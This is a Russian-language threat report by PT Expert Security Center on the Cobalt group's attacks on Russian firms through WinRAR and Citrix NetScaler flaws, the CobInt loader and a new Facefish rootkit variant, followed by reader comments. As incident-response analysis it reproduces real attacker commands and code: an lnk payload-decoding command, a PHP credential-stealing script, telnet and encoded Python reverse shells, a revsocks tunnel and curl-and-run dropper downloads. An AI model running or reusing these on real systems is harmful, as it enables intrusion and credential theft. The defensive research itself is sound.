Последние несколько лет специалисты нашего экспертного центра безопасности (PT Expert Security Center, PT ESC) регулярно фиксируют фишинговые рассылки вредоносных файлов, вложенных в архив, — их запуск приводит к загрузке модуля CobInt. Это ВПО — один из основных инструментов киберпреступной группы Cobalt (ее профайл можно посмотреть здесь). Ранее не фиксировалось использование этого модуля другими группировками. Вредоносные файлы применялись в атаках на российские компании из сфер энергетики, образования и телекоммуникаций — мы обнаружили это в ходе реагирования на инциденты ИБ в 2023 году. Предполагаем, что на территории России не менее 10 потенциальных жертв.
Мы следим за Cobalt с 2016 года. Ранее группа атаковала кредитно-финансовые организации с целью кражи денежных средств, а в последние несколько лет она сместила акцент на кибершпионаж. С 2020 года Cobalt не была замечена в громких кампаниях, но факты, описанные выше, подтверждают, что группа или некоторые из ее участников до сих пор активны, только используют они новые инструменты. Так, в арсенале группы появился руткит Facefish, который атакующие применяют для заражения хостов под управлением Linux. Для компрометации компаний Cobalt продолжает использовать актуальные уязвимости CVE-2023-38831 и CVE-2023-3519.
В статье мы кратко рассмотрим две цепочки атак с эксплуатацией этих уязвимостей, а также расскажем про новую модификацию Facefish.
Полный отчет с детальным разбором инцидентов, описанием техник и индикаторами компрометации читайте в нашем блоге.
Вектор № 1. Запрос от (Ex)Cobalt
В конце августа 2023 года мы заметили тренд на использование уязвимости CVE‑2023‑38831 в программном обеспечении WinRAR.
Из общего потока наблюдаемых файлов нас заинтересовал архив ucx_2314_4_2_ot_28_08_2023.rar, содержащий файл-приманку формата PDF и вредоносный исполняемый файл.
В файле-приманке на русском языке описана продукция китайской корпорации авиационной промышленности, поэтому последующую цепочку действий можно назвать целенаправленной атакой.
У архива измененная файловая структура. Когда жертва открывает PDF‑файл, запускается исполняемый PE-файл Zapros_2314_4_2_ot_28_08_2023.pdf .cmd. Он представляет собой установщик на платформе Nullsoft Scriptable Install System (NSIS) и инициирует следующий этап атаки.
Также мы обнаружили архив Zapros_13-2-16442-upr_ot_25_08_2023.zip c файловым ярлыком, который извлекает из себя и запускает аналогичный исполняемый файл. Команда lnk-файла:
/v /c set g="%cd%\Zapros_13-2-16442-upr_ot_25_08_2023.lnk"&(if not exist "!g!" (for /f "tokens=*" %u in ('where /r "%localappdata%" Zapros_13-2-16442-upr_ot_25_08_2023.l?k') do set g=%u))&>nul set n=t&set f=e&set o=%temp%&certu!n!il -decode "!g!" !o!\fahsdiksfaem.!f!xe&start /b !o!\fahsdiksfaem
Интересно:в именах файлов-приманок используется одинаковая маска
Zapros*
NSIS-дроппер
NSIS-скрипт, выполняющий процесс установки, извлекает во временную папку следующие файлы:
файл-приманку (аналогичный PDF-файлу в архиве),
открытый PowerShell‑скрипт декодирования,
шифрованный PowerShell‑скрипт декодирования,
набор закодированных файлов (их предназначение описано далее)
и вызывает команды плагина — динамически подключаемой библиотеки nnujshaigu.dll (imphash:9ffedcca1b5171b3fb3e4430638971c1).
Сначала жертве демонстрируется ожидаемый PDF-файл (см. рис. 3). Затем исполняется PowerShell-скрипт yplseoefri.txt для декодирования кода из файла auspun.txt, который отвечает за получение ключа от управляющего сервера hxxps://wop[.]fsbkal[.]com/xseyyzpyy.txt и расшифровку второго скрипта декодирования алгоритмом AES в режиме CBC. Для образца, извлеченного из lnk-файла, ключ загружается с соседнего домена hxxps://zay[.]fsbkal[.]com/isicpjgki.txt.
На момент исследования файлы-ключи для загрузки с управляющих серверов не были доступны, и на этом «штатная» работа ВПО завершалась, так как следующие команды предполагают расшифровку файла gmzaofeioe.dat для декодирования им оставшихся файлов.
Зашифрованный файл имеет сопоставимый размер (26 КБ) с PowerShell‑скриптом декодирования на первом этапе, а оставшиеся файлы ampifkinn.txt, tygnfg.txt, yapaaiu.txt имеют схожий внешний вид отформатированного псевдослучайного текста. Поэтому мы предположили, что на обоих этапах используется одинаковый алгоритм, но разный словарь кодировки.
Алгоритм декодирования рассмотрен в полной версии отчета, там же мы рассказали про следующие этапы цепочки и полезную нагрузку.
Вектор № 2. The Green Mile
Осенью 2023 года нашу команду PT ESC Incident Response привлекли к реагированию на инцидент ИБ в российской компании из сферы энергетики. Мы установили, что в организации был скомпрометирован шлюз удаленного доступа к сети Citrix NetScaler Gateway версии 13.1.
Первоначальный доступ
Предполагаем, что злоумышленники получили доступ с помощью известной уязвимости CVE-2023-3519, опубликованной в июле 2023 года.
На момент анализа шлюза веб-журналы были ротированы, и подтвердить эксплуатацию уязвимости через связанные с ней GET-запросы не удалось. Тем не менее в неразмеченном пространстве файловой системы мы обнаружили характерные запросы /gwtest/formssso?event=start&target=
, которые указывают на попытки эксплуатации уязвимости CVE-2023-3519.
Мы нашли ряд веб-шеллов в директории /var/netscaler/logon/
. Записи появились в файловой системе 17.08.2023 и соответствовали логике шеллкода из опубликованного proof of concept от 01.08.2023.
При анализе сервера мы выявили простой веб-шелл с именем ctxHeaderLogon.php и ключом JohnCoffey2023!, позволяющий удаленно исполнять команды на шлюзе.
Также был обнаружен скрипт netscaler.php, который перехватывает входящие POST-запросы, а после записывает полученные из URL-адреса учетные записи в файл netscaler.1. Таким образом, злоумышленникам удалось похитить десятки учетных записей.
<?php
$date = date("d/m/y : H:i :");
$username= $_POST['u'];
$password= $_POST['p'];
#$password2= $_POST['p2'];
if ($username !="undefined"){
$username = urldecode($username);
$password = urldecode($password);
file_put_contents("netscaler.1","Username:".$username.PHP_EOL ,FILE_APPEND);
file_put_contents("netscaler.1","Password:".$password.PHP_EOL ,FILE_APPEND);
file_put_contents('netscaler.1', "Date:".$date.$data.PHP_EOL, FILE_APPEND);
#file_put_contents("netscaler.1", "PIN:".$password2.PHP_EOL ,FILE_APPEND);
file_put_contents("netscaler.1","------------------".PHP_EOL ,FILE_APPEND);
}
?>
Пример скомпрометированной учетной записи из файла netscaler.1:
Username: [REDACTED]
Password:QWerty2024
Date:11/09/23 : 05:59 :
Для управления хостом атакующие за достаточно короткий промежуток времени пробовали использовать разные способы, в том числе telnet (reverse shell) и reverse_shell.py.
sh -c '(sleep 4325|telnet 51.15.18.85 4102|while : ;
do sh && break;
done 2>&1|telnet 51.15.18.85 4102 >/dev/null 2>&1 &)'
Запуск reverse_shell.py:
Sep 25 13:53:22 [REDACTED] sh_command="python3 rev4204.py "
Sep 25 13:53:43 [REDACTED] sh_command="netstat -an | grep 51.15.18.85 "
Содержимое файла reverse_shell.py:
exec(__import__('zlib').decompress(__import__('base64').b64decode (__import__('codecs').getencoder('utf-8')
'eNo9UE1LxDAQPTe/IrckmA3t0i7LYgURDyIiuN4WkTaZ1dI0CUlWq+J/tyGLlxnemzdvPobJWR9xsHKEyL/
10PO+C7CpeYj+JCOPwwToaD2e8WCw78wb0KpkO1RE/7XEIrS5WeRE1/
yM948396/756fb6weWdEJaY0BGSklTiaoR1VZsG8LrdVmzpOg9dCMqYJbgYrJOs0XQAI42DOk2ryROxnVypOTqjvAgPMgPuhgcyhek2jPWDH2+
DxqwBkMVu9SLnbr4r64yzRDMIGm6WiiQdnIeQqD5AaLf1IlUkJT8hwSyC78M/QGFbV7K')[0])))
import socket,zlib,base64,struct,time for x in range(10): try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('51.15.18.85',4204)) break
except: time.sleep(5) l=struct.unpack('>I',s.recv(4))[0] d=s.recv(l) while len(d)
Также злоумышленники запускали утилиту для туннелирования трафика revsocks.
curl -O
https://github.com/kost/revsocks/releases/download/v2.2/revsocks_freebsd_amd64 mv revsocks_freebsd_amd64 nsnetsvcs /netscaler/nsnetsvcs -connect 51.15.18.85:8844 -pass 123
Про Facefish
Кроме установленных веб-шеллов и программ туннелирования трафика, атакующие предприняли попытку загрузки с управляющего сервера eu‑debian[.]com и запуска Facefish-дроппера с именем ssh3600. Об этом рутките ранее сообщали исследователи из компаний Juniper и Qihoo 360 Netlab.
Sep 25 13:47:15 [REDACTED] sh_command="curl -O http://eu-debian.com/ssh3600 ; chmod +x ssh3600 ; ./ssh3600 ; rm -f ssh3600 "
Sep 25 13:47:38 [REDACTED] sh_command="curl -O http://eu-debian.com/ssh3600 ; chmod +x ssh3600 "
Образец является разделяемой библиотекой (shared object), которая работает в пользовательском режиме и внедряется в процесс SSHD через метод LD_PRELOAD. Его основное назначение — кража учетных данных SSH, а также удаленное управление зараженным хостом.
Мы неоднократно обнаруживали руткит Facefish в ходе расследований инцидентов ИБ. Помимо описанных ранее версий, нам удалось выявить новую модификацию:
1. В ней есть перехват функции __getdelim, который, подменяя легитимный системный вызов с аналогичным именем, при чтении конфигурационного файла /etc/ssh/sshd_config добавляет в итоговый результат дополнительный порт, на котором сервис SSH принимает входящие подключения.
2. Транспорт реализуется по протоколу HTTPS с использованием библиотеки BearSSL.
3. В новой модификации перехватываются следующие SSH-функции:
user_key_allowed2;
sshpam_auth_passwd;
auth_shadow_pwexpired;
getpwnamallow;
login_write (новая функция, которая была добавлена);
read_passphrase;
ssh_userauth2;
key_perm_ok;
load_identity_file;
key_load_private_type (новая функция, которая была добавлена).
На рисунке представлена временная схема обнаружения образцов ВПО Facefish, которые использовали в атаках на российские компании.
Разбор цепочки атаки с ним читайте в полном исследовании.
В нашем блоге есть и другие интересные отчеты о деятельности APT-групп, новых техниках атак и модификациях ВПО, актуальных киберугрозах и способах защиты.
Александр Григорян, Максим Похлебин
PT Expert Security Center
Комментарии (3)
Marat-onlin
16.11.2023 09:20До этой статьй я боялся только mp3 файлы на бесплатных сайтах с расширением exe )) А теперь буду всего бояться ))
select26
Ничего не понятно: пишите про заражение хостов под управлением Linux, а потом описываете запуск CMD и PowerShell инъекцию.
Поясните пожалуйста, где ошибка?
ptsecurity Автор
Привет! Про компрометацию Linux-хостов мы рассказываем в разделе "Вектор № 2. The Green Mile", где атакующим удалось скомпрометировать Citrix NetScaler Gateway под управлением ос FreeBSD. Еще больше подробностей можно найти в нашем полном отчете.